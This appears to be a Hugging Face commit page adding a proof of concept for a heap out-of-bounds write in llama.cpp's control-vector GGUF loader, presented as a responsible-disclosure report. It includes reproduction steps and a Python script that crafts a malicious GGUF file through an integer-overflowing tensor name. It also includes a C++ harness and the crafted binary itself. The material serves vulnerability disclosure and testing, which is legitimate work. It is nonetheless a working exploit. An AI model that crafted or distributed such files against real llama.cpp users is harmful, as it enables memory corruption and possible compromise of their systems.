Vassssilis commited on
Commit
cddbb03
·
verified ·
1 Parent(s): 7215169

Upload 4 files

Browse files
Files changed (4) hide show
  1. REPRO.md +45 -0
  2. craft_cv_gguf.py +18 -0
  3. cv_load_harness.cpp +22 -0
  4. malicious_cv.gguf +0 -0
REPRO.md ADDED
@@ -0,0 +1,45 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # PoC: heap OOB write in llama.cpp control-vector GGUF loader
2
+
3
+ `malicious_cv.gguf` triggers a **heap out-of-bounds write** in
4
+ `common_control_vector_load_one()` when llama.cpp loads it as a control vector
5
+ (`--control-vector`), via a signed-integer overflow in the buffer-size /
6
+ write-offset arithmetic. Responsible-disclosure PoC for a huntr report. **Not for malicious use.**
7
+
8
+ ## Files
9
+ - `malicious_cv.gguf` — malicious control-vector model: one tensor `direction.1431655766`, F32, `ne=[3]`.
10
+ - `craft_cv_gguf.py` — how it was generated (`pip install gguf`, then `python craft_cv_gguf.py`).
11
+ - `cv_load_harness.cpp` — minimal harness calling the public `common_control_vector_load()`.
12
+
13
+ ## Reproduce (Linux + AddressSanitizer)
14
+ ```bash
15
+ git clone https://github.com/ggml-org/llama.cpp && cd llama.cpp
16
+
17
+ # Build the WHOLE tree (incl. the `common` lib) with AddressSanitizer.
18
+ # (Note: -DGGML_SANITIZE_ADDRESS=ON alone only instruments ggml, NOT common —
19
+ # use global flags so the control-vector loader is instrumented.)
20
+ cmake -B build-asan -DCMAKE_BUILD_TYPE=Debug \
21
+ -DCMAKE_C_FLAGS="-fsanitize=address -g -fno-omit-frame-pointer" \
22
+ -DCMAKE_CXX_FLAGS="-fsanitize=address -g -fno-omit-frame-pointer" \
23
+ -DBUILD_SHARED_LIBS=OFF -DLLAMA_CURL=OFF -DGGML_NATIVE=OFF
24
+ cmake --build build-asan --target common -j"$(nproc)"
25
+
26
+ # Build the harness against the ASan static libs (adjust .a paths to your tree).
27
+ g++ -fsanitize=address -g -I. cv_load_harness.cpp \
28
+ build-asan/common/libcommon.a build-asan/src/libllama.a build-asan/ggml/src/*.a \
29
+ -lpthread -lm -o cv_load_harness
30
+
31
+ ./cv_load_harness malicious_cv.gguf
32
+ ```
33
+
34
+ **Expected:** ASan reports `heap-buffer-overflow WRITE of size 4` in
35
+ `common_control_vector_load_one` (`common/common.cpp:1865`), located **4 bytes
36
+ before** the 8-byte buffer allocated by the overflowed `resize()` at
37
+ `common/common.cpp:1860`. The harness also prints `n_embd=3 data_size=2`
38
+ (the undersized buffer from the wrap).
39
+
40
+ `dst[j] += …` is a read-modify-write, so a normal (halting) ASan build reports
41
+ the OOB **read** first; build with `-fsanitize-recover=address` and run with
42
+ `ASAN_OPTIONS=halt_on_error=0` to also surface the **write**.
43
+
44
+ Also reproducible in the real tool:
45
+ `llama-cli -m <any model> --control-vector malicious_cv.gguf -p hi` under ASan.
craft_cv_gguf.py ADDED
@@ -0,0 +1,18 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """Craft a malicious control-vector GGUF that triggers the signed-int overflow
2
+ OOB write in common_control_vector_load_one (common.cpp:1860-1865).
3
+
4
+ direction.1431655766 with ne[0]=3 => n_embd=3, layer_idx=1431655766
5
+ resize: 3*1431655766 = 4294967298 -> wraps int -> 2 (buffer = 2 floats)
6
+ dst : data() + 3*(1431655766-1) = 4294967295 -> wraps int -> -1 (one float BEFORE buffer)
7
+ loop writes 3 floats through dst => OOB write at data()[-1]
8
+ """
9
+ import numpy as np
10
+ from gguf import GGUFWriter
11
+
12
+ w = GGUFWriter("malicious_cv.gguf", "controlvector")
13
+ w.add_tensor("direction.1431655766", np.array([1.0, 2.0, 3.0], dtype=np.float32))
14
+ w.write_header_to_file()
15
+ w.write_kv_data_to_file()
16
+ w.write_tensors_to_file()
17
+ w.close()
18
+ print("wrote malicious_cv.gguf")
cv_load_harness.cpp ADDED
@@ -0,0 +1,22 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include "common/common.h"
2
+ #include <iostream>
3
+ #include <vector>
4
+
5
+ int main(int argc, char ** argv) {
6
+ if (argc != 2) {
7
+ std::cerr << "usage: " << argv[0] << " malicious_cv.gguf\n";
8
+ return 2;
9
+ }
10
+
11
+ common_control_vector_load_info info;
12
+ info.strength = 1.0f;
13
+ info.fname = argv[1];
14
+
15
+ std::vector<common_control_vector_load_info> infos;
16
+ infos.push_back(info);
17
+
18
+ std::cerr << "calling common_control_vector_load on " << argv[1] << "\n";
19
+ common_control_vector_data result = common_control_vector_load(infos);
20
+ std::cerr << "returned n_embd=" << result.n_embd << " data_size=" << result.data.size() << "\n";
21
+ return result.n_embd == -1 ? 1 : 0;
22
+ }
malicious_cv.gguf ADDED
Binary file (128 Bytes). View file